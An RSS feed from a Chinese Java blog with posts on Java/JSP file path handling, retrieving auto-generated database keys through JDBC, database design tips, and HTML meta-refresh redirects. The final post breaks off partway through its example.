﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-FREEDOM</title><link>http://www.blogjava.net/sheerfreedom/</link><description /><language>zh-cn</language><lastBuildDate>Sun, 12 Apr 2026 09:41:20 GMT</lastBuildDate><pubDate>Sun, 12 Apr 2026 09:41:20 GMT</pubDate><ttl>60</ttl><item><title>Java相对路径总结</title><link>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131727.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Sun, 22 Jul 2007 07:13:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131727.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/131727.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131727.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/131727.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/131727.html</trackback:ping><description><![CDATA[1.基本概念的理解<br><br>绝对路径：绝对路径就是你的主页上的文件或目录在硬盘上真正的路径，(URL和物理路径)例如：<br>C:xyz est.txt 代表了test.txt文件的绝对路径。http://www.sun.com/index.htm也代表了一个URL绝对路径。<br><br>相对路径：相对与某个基准目录的路径。包含Web的相对路径（HTML中的相对目录），例如：在<br>Servlet中，"/"代表Web应用的跟目录。和物理路径的相对表示。例如："./" 代表当前目录,"../"代表上级目录。这种类似的表示，也是属于相对路径。<br>另外关于URI，URL,URN等内容，请参考RFC相关文档标准。<br><br>RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax, <br>(http://www.ietf.org/rfc/rfc2396.txt)<br><br><br>2.关于JSP/Servlet中的相对路径和绝对路径。<br><br>2.1服务器端的地址 <br><br>服务器端的相对地址指的是相对于你的web应用的地址，这个地址是在服务器端解析的（不同于html和javascript中的相对地址，他们是由客户端浏览器解析的）也就是说这时候在jsp和servlet中的相对地址应该是相对于你的web应用，即相对于http: //192.168.0.1/webapp/的。 <br><br>其用到的地方有： <br>forward：servlet中的request.getRequestDispatcher(address);这个address是在服务器端解析的，所以，你要forward到a.jsp应该这么写：request.getRequestDispatcher(&#8220;/user/a.jsp&#8221;)这个/ 相对于当前的web应用webapp，其绝对地址就是：http://192.168.0.1/webapp/user/a.jsp。 sendRedirect：在jsp中&lt;%response.sendRedirect("/rtccp/user/a.jsp");%&gt; <br><br>2.22、客户端的地址 <br><br>所有的html页面中的相对地址都是相对于服务器根目录(http://192.168.0.1/)的，而不是(跟目录下的该Web应用的目录) http://192.168.0.1/webapp/的。 Html中的form表单的action属性的地址应该是相对于服务器根目录(http://192.168.0.1/)的，所以，如果提交到a.jsp 为：action＝"/webapp/user/a.jsp"或action="&lt;%=request.getContextPath()% &gt;"/user/a.jsp；<br>提交到servlet为actiom＝"/webapp/handleservlet" Javascript也是在客户端解析的，所以其相对路径和form表单一样。 <br><br><br>因此，一般情况下，在JSP/HTML页面等引用的CSS,Javascript.Action等属性前面最好都加上<br>&lt;%=request.getContextPath()%&gt;,以确保所引用的文件都属于Web应用中的目录。另外，应该尽量避免使用类似".","./","../../"等类似的相对该文件位置的相对路径，这样当文件移动时，很容易出问题。<br><br><br>3. JSP/Servlet中获得当前应用的相对路径和绝对路径<br>3.1 JSP中获得当前应用的相对路径和绝对路径<br>根目录所对应的绝对路径:request.getRequestURI()<br>文件的绝对路径 　:application.getRealPath(request.getRequestURI());<br>当前web应用的绝对路径 :application.getRealPath("/");<br>取得请求文件的上层目录:new File(application.getRealPath(request.getRequestURI())).getParent()<br><br>3.2 Servlet中获得当前应用的相对路径和绝对路径<br>根目录所对应的绝对路径:request.getServletPath();<br>文件的绝对路径 :request.getSession().getServletContext().getRealPath<br>(request.getRequestURI()) <br>当前web应用的绝对路径 :servletConfig.getServletContext().getRealPath("/");<br>(ServletContext对象获得几种方式：<br>javax.servlet.http.HttpSession.getServletContext() <br>javax.servlet.jsp.PageContext.getServletContext() <br>javax.servlet.ServletConfig.getServletContext() <br>)<br><br>4.java 的Class中获得相对路径，绝对路径的方法<br>4.1单独的Java类中获得绝对路径<br>根据java.io.File的Doc文挡，可知:<br>默认情况下new File("/")代表的目录为：System.getProperty("user.dir")。<br>一下程序获得执行类的当前路径<br>package org.cheng.file;<br>import java.io.File;<br><br>public class FileTest {<br>public static void main(String[] args) throws Exception { <br><br>System.out.println(Thread.currentThread().getContextClassLoader().getResource("")); <br><br>System.out.println(FileTest.class.getClassLoader().getResource("")); <br><br>System.out.println(ClassLoader.getSystemResource("")); <br>System.out.println(FileTest.class.getResource("")); <br>System.out.println(FileTest.class.getResource("/")); //Class文件所在路径 <br>System.out.println(new File("/").getAbsolutePath()); <br>System.out.println(System.getProperty("user.dir")); <br>}<br>}<br><br>4.2服务器中的Java类获得当前路径（来自网络）<br>(1).Weblogic<br><br>WebApplication的系统文件根目录是你的weblogic安装所在根目录。<br>例如：如果你的weblogic安装在c:eaweblogic700.....<br>那么，你的文件根路径就是c:.<br>所以，有两种方式能够让你访问你的服务器端的文件：<br>a.使用绝对路径：<br>比如将你的参数文件放在c:yourconfigyourconf.properties，<br>直接使用 new FileInputStream("yourconfig/yourconf.properties");<br>b.使用相对路径：<br>相对路径的根目录就是你的webapplication的根路径，即WEB-INF的上一级目录，将你的参数文件放<br><br>在yourwebappyourconfigyourconf.properties，<br>这样使用：<br>new FileInputStream("./yourconfig/yourconf.properties");<br>这两种方式均可，自己选择。<br><br>(2).Tomcat<br><br>在类中输出System.getProperty("user.dir");显示的是%Tomcat_Home%/bin<br><br>(3).Resin<br><br>不是你的JSP放的相对路径,是JSP引擎执行这个JSP编译成SERVLET<br>的路径为根.比如用新建文件法测试File f = new File("a.htm");<br>这个a.htm在resin的安装目录下 <br><br>(4).如何读相对路径哪？<br><br>在Java文件中getResource或getResourceAsStream均可<br><br>例：getClass().getResourceAsStream(filePath);//filePath可以是"/filename",这里的/代表web<br><br>发布根路径下WEB-INF/classes<br><br>默认使用该方法的路径是：WEB-INF/classes。已经在Tomcat中测试。<br><br>5.读取文件时的相对路径，避免硬编码和绝对路径的使用。（来自网络）<br>5.1 采用Spring的DI机制获得文件，避免硬编码。<br>参考下面的连接内容：<br>http://www.javajia.net/viewtopic.php?p=90213&amp;<br>5.2 配置文件的读取<br>参考下面的连接内容：<br>http://dev.csdn.net/develop/article/39/39681.shtm<br>5.3 通过虚拟路径或相对路径读取一个xml文件，避免硬编码<br>参考下面的连接内容：<br>http://club.gamvan.com/club/clubPage.jsp?iPage=1&amp;tID=10708&amp;ccID=8<br><br>6.Java中文件的常用操作（复制，移动，删除，创建等）（来自网络）<br>常用 java File 操作类 <br>http://www.easydone.cn/014/200604022353065155.htm<br><br>Java文件操作大全（JSP中）<br>http://www.pconline.com.cn/pcedu/empolder/gj/java/0502/559401.html<br><br>java文件操作详解（Java中文网）<br>http://www.51cto.com/html/2005/1108/10947.htm<br><br>JAVA 如何创建删除修改复制目录及文件<br>http://www.gamvan.com/developer/java/2005/2/264.html<br><br>总结：<br>通过上面内容的使用，可以解决在Web应用服务器端，移动文件，查找文件，复制<br>删除文件等操作，同时对服务器的相对地址，绝对地址概念更加清晰。<br>建议参考URI,的RFC标准文挡。同时对Java.io.File. Java.net.URI.等内容了解透彻<br>对其他方面的理解可以更加深入和透彻。 
<img src ="http://www.blogjava.net/sheerfreedom/aggbug/131727.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2007-07-22 15:13 <a href="http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131727.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获取数据库自增类型生成的主键的方法 </title><link>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131726.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Sun, 22 Jul 2007 07:10:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131726.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/131726.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131726.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/131726.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/131726.html</trackback:ping><description><![CDATA[&nbsp;某些时候，你插入一条记录后要马上知道刚才插入记录的id（自增类型），那么下面的方面可以满足你的要求：
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Connection&nbsp;conn&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;<img src="http://www.blogjava.net/Images/dot.gif">;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Serializable&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PreparedStatement&nbsp;state&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;<img src="http://www.blogjava.net/Images/dot.gif">.;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ResultSet&nbsp;rs</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">;<br><img id=Codehighlighter1_143_335_Open_Image onclick="this.style.display='none'; Codehighlighter1_143_335_Open_Text.style.display='none'; Codehighlighter1_143_335_Closed_Image.style.display='inline'; Codehighlighter1_143_335_Closed_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_143_335_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_143_335_Closed_Text.style.display='none'; Codehighlighter1_143_335_Open_Image.style.display='inline'; Codehighlighter1_143_335_Open_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">try</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_143_335_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"></span><span id=Codehighlighter1_143_335_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;state.executeUpdate();<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;state.getGeneratedKeys();<br><img id=Codehighlighter1_250_318_Open_Image onclick="this.style.display='none'; Codehighlighter1_250_318_Open_Text.style.display='none'; Codehighlighter1_250_318_Closed_Image.style.display='inline'; Codehighlighter1_250_318_Closed_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_250_318_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_250_318_Closed_Text.style.display='none'; Codehighlighter1_250_318_Open_Image.style.display='inline'; Codehighlighter1_250_318_Open_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(rs.next())&nbsp;</span><span id=Codehighlighter1_250_318_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"></span><span id=Codehighlighter1_250_318_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(Serializable)&nbsp;rs.getObject(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img id=Codehighlighter1_360_370_Open_Image onclick="this.style.display='none'; Codehighlighter1_360_370_Open_Text.style.display='none'; Codehighlighter1_360_370_Closed_Image.style.display='inline'; Codehighlighter1_360_370_Closed_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_360_370_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_360_370_Closed_Text.style.display='none'; Codehighlighter1_360_370_Open_Image.style.display='inline'; Codehighlighter1_360_370_Open_Text.style.display='inline';" src="http://www.blogjava.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">catch</span><span style="COLOR: #000000">&nbsp;(SQLException&nbsp;e)&nbsp;</span><span id=Codehighlighter1_360_370_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"></span><span id=Codehighlighter1_360_370_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ret;</span></div>
<img src ="http://www.blogjava.net/sheerfreedom/aggbug/131726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2007-07-22 15:10 <a href="http://www.blogjava.net/sheerfreedom/archive/2007/07/22/131726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库设计中的14个技巧</title><link>http://www.blogjava.net/sheerfreedom/archive/2006/06/15/53008.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Thu, 15 Jun 2006 07:49:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2006/06/15/53008.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/53008.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2006/06/15/53008.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/53008.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/53008.html</trackback:ping><description><![CDATA[数据库的设计有很多技巧，以下就介绍其中的几种，是许多人在大量的数据库分析与设计实践中，逐步总结出来的。对于这些经验的运用，读者不能生帮硬套，死记硬背，而要消化理解，实事求是，灵活掌握。并逐步做到：在应用中发展，在发展中应用。 <br /><span class="news-12"><p>    <strong>1. 原始单据与实体之间的关系</strong></p><p>    可以是一对一、一对多、多对多的关系。在一般情况下，它们是一对一的关系：即一张原始单据对应且只对应一个实体。在特殊情况下，它们可能是一对多或多对一的关系，即一张原始单据对应多个实体，或多张原始单据对应一个实体。这里的实体可以理解为基本表。明确这种对应关系后，对我们设计录入界面大有好处。 </p><p>    〖例1〗：一份员工履历资料，在人力资源信息系统中，就对应三个基本表：员工基本情况表、社会关系表、工作简历表。这就是“一张原始单据对应多个实体”的典型例子。 </p><p>    <strong>2. 主键与外键</strong></p><p>    一般而言，一个实体不能既无主键又无外键。在E－R 图中, 处于叶子部位的实体, 可以定义主键，也可以不定义主键(因为它无子孙), 但必须要有外键(因为它有父亲)。 </p><p>    主键与外键的设计，在全局数据库的设计中，占有重要地位。当全局数据库的设计完成以后，有个美国数据库设计专家说：“键，到处都是键，除了键之外，什么也没有”，这就是他的数据库设计经验之谈，也反映了他对信息系统核心(数据模型)的高度抽象思想。因为：主键是实体的高度抽象，主键与外键的配对，表示实体之间的连接。 </p><p>    <strong>3. 基本表的性质</strong></p><p>    基本表与中间表、临时表不同，因为它具有如下四个特性： </p><p>    (1) 原子性。基本表中的字段是不可再分解的。 </p><p>    (2) 原始性。基本表中的记录是原始数据（基础数据）的记录。 </p><p>    (3) 演绎性。由基本表与代码表中的数据，可以派生出所有的输出数据。 </p><p>    (4) 稳定性。基本表的结构是相对稳定的，表中的记录是要长期保存的。 </p><p>    理解基本表的性质后，在设计数据库时，就能将基本表与中间表、临时表区分开来。 </p><p>    <strong>4. 范式标准</strong></p><p>    基本表及其字段之间的关系, 应尽量满足第三范式。但是，满足第三范式的数据库设计，往往不是最好的设计。为了提高数据库的运行效率，常常需要降低范式标准：适当增加冗余，达到以空间换时间的目的。 </p><p>    〖例2〗：有一张存放商品的基本表，如表1所示。“金额”这个字段的存在，表明该表的设计不满足第三范式，因为“金额”可以由“单价”乘以“数量”得到，说明“金额”是冗余字段。但是，增加“金额”这个冗余字段，可以提高查询统计的速度，这就是以空间换时间的作法。 </p><p>    在Rose 2002中，规定列有两种类型：数据列和计算列。“金额”这样的列被称为“计算列”，而“单价”和“数量”这样的列被称为“数据列”。 </p><p>    表1 商品表的表结构 </p><p>    商品名称 商品型号 单价 数量 金额 </p><p>    电视机 29吋 2,500 40 100,000 </p><p>    <strong>5. 通俗地理解三个范式</strong></p><p>    通俗地理解三个范式，对于数据库设计大有好处。在数据库设计中，为了更好地应用三个范式，就必须通俗地理解三个范式(通俗地理解是够用的理解，并不是最科学最准确的理解)： </p><p>    第一范式：1NF是对属性的原子性约束，要求属性具有原子性，不可再分解； </p><p>    第二范式：2NF是对记录的惟一性约束，要求记录有惟一标识，即实体的惟一性； </p><p>    第三范式：3NF是对字段冗余性的约束，即任何字段不能由其他字段派生出来，它要求字段没有冗余。 </p><p>    没有冗余的数据库设计可以做到。但是，没有冗余的数据库未必是最好的数据库，有时为了提高运行效率，就必须降低范式标准，适当保留冗余数据。具体做法是：在概念数据模型设计时遵守第三范式，降低范式标准的工作放到物理数据模型设计时考虑。降低范式就是增加字段，允许冗余。 </p><p>    <strong>6. 要善于识别与正确处理多对多的关系</strong></p><p>    若两个实体之间存在多对多的关系，则应消除这种关系。消除的办法是，在两者之间增加第三个实体。这样，原来一个多对多的关系，现在变为两个一对多的关系。要将原来两个实体的属性合理地分配到三个实体中去。这里的第三个实体，实质上是一个较复杂的关系，它对应一张基本表。一般来讲，数据库设计工具不能识别多对多的关系，但能处理多对多的关系。 </p><p>    〖例3〗：在“图书馆信息系统”中，“图书”是一个实体，“读者”也是一个实体。这两个实体之间的关系，是一个典型的多对多关系：一本图书在不同时间可以被多个读者借阅，一个读者又可以借多本图书。为此，要在二者之间增加第三个实体，该实体取名为“借还书”，它的属性为：借还时间、借还标志(0表示借书，1表示还书)，另外，它还应该有两个外键(“图书”的主键，“读者”的主键)，使它能与“图书”和“读者”连接。 </p><p>    <strong>7. 主键PK的取值方法</strong></p><p>    PK是供程序员使用的表间连接工具，可以是一无物理意义的数字串, 由程序自动加1来实现。也可以是有物理意义的字段名或字段名的组合。不过前者比后者好。当PK是字段名的组合时，建议字段的个数不要太多，多了不但索引占用空间大，而且速度也慢。 </p><p>    <strong>8. 正确认识数据冗余</strong></p><p>    主键与外键在多表中的重复出现, 不属于数据冗余，这个概念必须清楚，事实上有许多人还不清楚。非键字段的重复出现, 才是数据冗余！而且是一种低级冗余，即重复性的冗余。高级冗余不是字段的重复出现，而是字段的派生出现。 </p><p>    〖例4〗：商品中的“单价、数量、金额”三个字段，“金额”就是由“单价”乘以“数量”派生出来的，它就是冗余，而且是一种高级冗余。冗余的目的是为了提高处理速度。只有低级冗余才会增加数据的不一致性，因为同一数据，可能从不同时间、地点、角色上多次录入。因此，我们提倡高级冗余(派生性冗余)，反对低级冗余(重复性冗余)。 </p><p>    <strong>9. E－R图没有标准答案</strong></p><p>    信息系统的E－R图没有标准答案，因为它的设计与画法不是惟一的，只要它覆盖了系统需求的业务范围和功能内容，就是可行的。反之要修改E－R图。尽管它没有惟一的标准答案，并不意味着可以随意设计。好的E－图的标准是：结构清晰、关联简洁、实体个数适中、属性分配合理、没有低级冗余。 </p><p>    <strong>10. 视图技术在数据库设计中很有用</strong></p><p>    与基本表、代码表、中间表不同，视图是一种虚表，它依赖数据源的实表而存在。视图是供程序员使用数据库的一个窗口，是基表数据综合的一种形式, 是数据处理的一种方法，是用户数据保密的一种手段。为了进行复杂处理、提高运算速度和节省存储空间, 视图的定义深度一般不得超过三层。 若三层视图仍不够用, 则应在视图上定义临时表, 在临时表上再定义视图。这样反复交迭定义, 视图的深度就不受限制了。 </p><p>    对于某些与国家政治、经济、技术、军事和安全利益有关的信息系统，视图的作用更加重要。这些系统的基本表完成物理设计之后，立即在基本表上建立第一层视图，这层视图的个数和结构，与基本表的个数和结构是完全相同。并且规定，所有的程序员，一律只准在视图上操作。只有数据库管理员，带着多个人员共同掌握的“安全钥匙”，才能直接在基本表上操作。请读者想想：这是为什么？ </p><p>    <strong>11. 中间表、报表和临时表 </strong></p><p>    中间表是存放统计数据的表，它是为数据仓库、输出报表或查询结果而设计的，有时它没有主键与外键(数据仓库除外)。临时表是程序员个人设计的，存放临时记录，为个人所用。基表和中间表由DBA维护，临时表由程序员自己用程序自动维护。 </p><p>    <strong>12. 完整性约束表现在三个方面</strong></p><p>    域的完整性：用Check来实现约束，在数据库设计工具中，对字段的取值范围进行定义时，有一个Check按钮，通过它定义字段的值城。 </p><p>    参照完整性：用PK、FK、表级触发器来实现。 </p><p>    用户定义完整性：它是一些业务规则，用存储过程和触发器来实现。 </p><p>    <strong>13. 防止数据库设计打补丁的方法是“三少原则”</strong></p><p>    (1) 一个数据库中表的个数越少越好。只有表的个数少了，才能说明系统的E－R图少而精，去掉了重复的多余的实体，形成了对客观世界的高度抽象，进行了系统的数据集成，防止了打补丁式的设计； </p><p>    (2) 一个表中组合主键的字段个数越少越好。因为主键的作用，一是建主键索引，二是做为子表的外键，所以组合主键的字段个数少了，不仅节省了运行时间，而且节省了索引存储空间； </p><p>    (3) 一个表中的字段个数越少越好。只有字段的个数少了，才能说明在系统中不存在数据重复，且很少有数据冗余，更重要的是督促读者学会“列变行”，这样就防止了将子表中的字段拉入到主表中去，在主表中留下许多空余的字段。所谓“列变行”，就是将主表中的一部分内容拉出去，另外单独建一个子表。这个方法很简单，有的人就是不习惯、不采纳、不执行。 </p><p>    数据库设计的实用原则是：在数据冗余和处理速度之间找到合适的平衡点。“三少”是一个整体概念，综合观点，不能孤立某一个原则。该原则是相对的，不是绝对的。“三多”原则肯定是错误的。试想：若覆盖系统同样的功能，一百个实体(共一千个属性) 的E－R图，肯定比二百个实体(共二千个属性)的E－R图，要好得多。 </p><p>    提倡“三少”原则，是叫读者学会利用数据库设计技术进行系统的数据集成。数据集成的步骤是将文件系统集成为应用数据库，将应用数据库集成为主题数据库，将主题数据库集成为全局综合数据库。集成的程度越高，数据共享性就越强，信息孤岛现象就越少，整个企业信息系统的全局E—R图中实体的个数、主键的个数、属性的个数就会越少。 </p><p>    提倡“三少”原则的目的，是防止读者利用打补丁技术，不断地对数据库进行增删改，使企业数据库变成了随意设计数据库表的“垃圾堆”，或数据库表的“大杂院”，最后造成数据库中的基本表、代码表、中间表、临时表杂乱无章，不计其数，导致企事业单位的信息系统无法维护而瘫痪。 </p><p>    “三多”原则任何人都可以做到，该原则是“打补丁方法”设计数据库的歪理学说。“三少”原则是少而精的原则，它要求有较高的数据库设计技巧与艺术，不是任何人都能做到的，因为该原则是杜绝用“打补丁方法”设计数据库的理论依据。 </p><p>    <strong>14. 提高数据库运行效率的办法 </strong></p><p>    在给定的系统硬件和系统软件条件下，提高数据库系统的运行效率的办法是： </p><p>    (1) 在数据库物理设计时，降低范式，增加冗余, 少用触发器, 多用存储过程。 </p><p>    (2) 当计算非常复杂、而且记录条数非常巨大时(例如一千万条)，复杂计算要先在数据库外面，以文件系统方式用C++语言计算处理完成之后，最后才入库追加到表中去。这是电信计费系统设计的经验。 </p><p>    (3) 发现某个表的记录太多，例如超过一千万条，则要对该表进行水平分割。水平分割的做法是，以该表主键PK的某个值为界线，将该表的记录水平分割为两个表。若发现某个表的字段太多，例如超过八十个，则垂直分割该表，将原来的一个表分解为两个表。 </p><p>    (4) 对数据库管理系统DBMS进行系统优化，即优化各种系统参数，如缓冲区个数。 </p><p>    (5) 在使用面向数据的SQL语言进行程序设计时，尽量采取优化算法。 </p><p>    总之，要提高数据库的运行效率，必须从数据库系统级优化、数据库设计级优化、程序实现级优化，这三个层次上同时下功夫。 </p></span><img src ="http://www.blogjava.net/sheerfreedom/aggbug/53008.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2006-06-15 15:49 <a href="http://www.blogjava.net/sheerfreedom/archive/2006/06/15/53008.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决自动更新网页的技术难题</title><link>http://www.blogjava.net/sheerfreedom/archive/2006/06/13/52356.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Tue, 13 Jun 2006 02:17:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2006/06/13/52356.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/52356.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2006/06/13/52356.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/52356.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/52356.html</trackback:ping><description><![CDATA[
		<span class="oblog_text">通常HTML文件需要浏览者来选择浏览的内容，如果想自动更换显示的内容一般要用到JavaScript、JAVA或CGI等方法来完成。  
<p>现在可以用META实现自动更换显示内容，更换的时间和文件都可以自行设定。语句如下：  </p><p>&lt; HEAD&gt;  </p><p>&lt; TITLE&gt;刷新内容&lt; /TITLE&gt;  </p><p>&lt; META HTTP-EQUIV="REFRESH" CONTENT="x; URL=*.*"&gt;  </p><p>&lt; /HEAD&gt;  </p><p>x 是刷新的时间，单位是秒。*.* 是刷新的文件。  </p><p>利用&lt; META &gt;标签实现Web的自动跳转。  </p><p>在Web上显示一段欢迎信息，隔一定秒数后，自动跳转到其他的Web页  </p><p>面，由此可以造成新奇的效果。其实现方法是在&lt; HEAD &gt;与&lt; /HEAD &gt;标签之间加上如下语句：  </p><p><br />&lt; meta http-equiv="Refresh" content="秒数; url=跳转的文件或地址" &gt;  </p><p><br />如将一个显示欢迎信息的图像：welcome.gif存放在与HTML文档同一个  </p><p>目录中，则下面的HTML文件在浏览器中显示该图像，3 秒钟后将自动跳  </p><p>转到世纪互联主页：<a href="http://www.cenpok.net/">http://www.cenpok.net</a></p><p>&lt; HTML&gt;  </p><p>&lt; HEAD&gt;  </p><p>&lt; TITLE&gt;WELCOME&lt; /TITLE&gt;  </p><p>&lt; meta http-equiv="Refresh" content="3;  </p><p>url=http://www.cenpok.net"&gt;  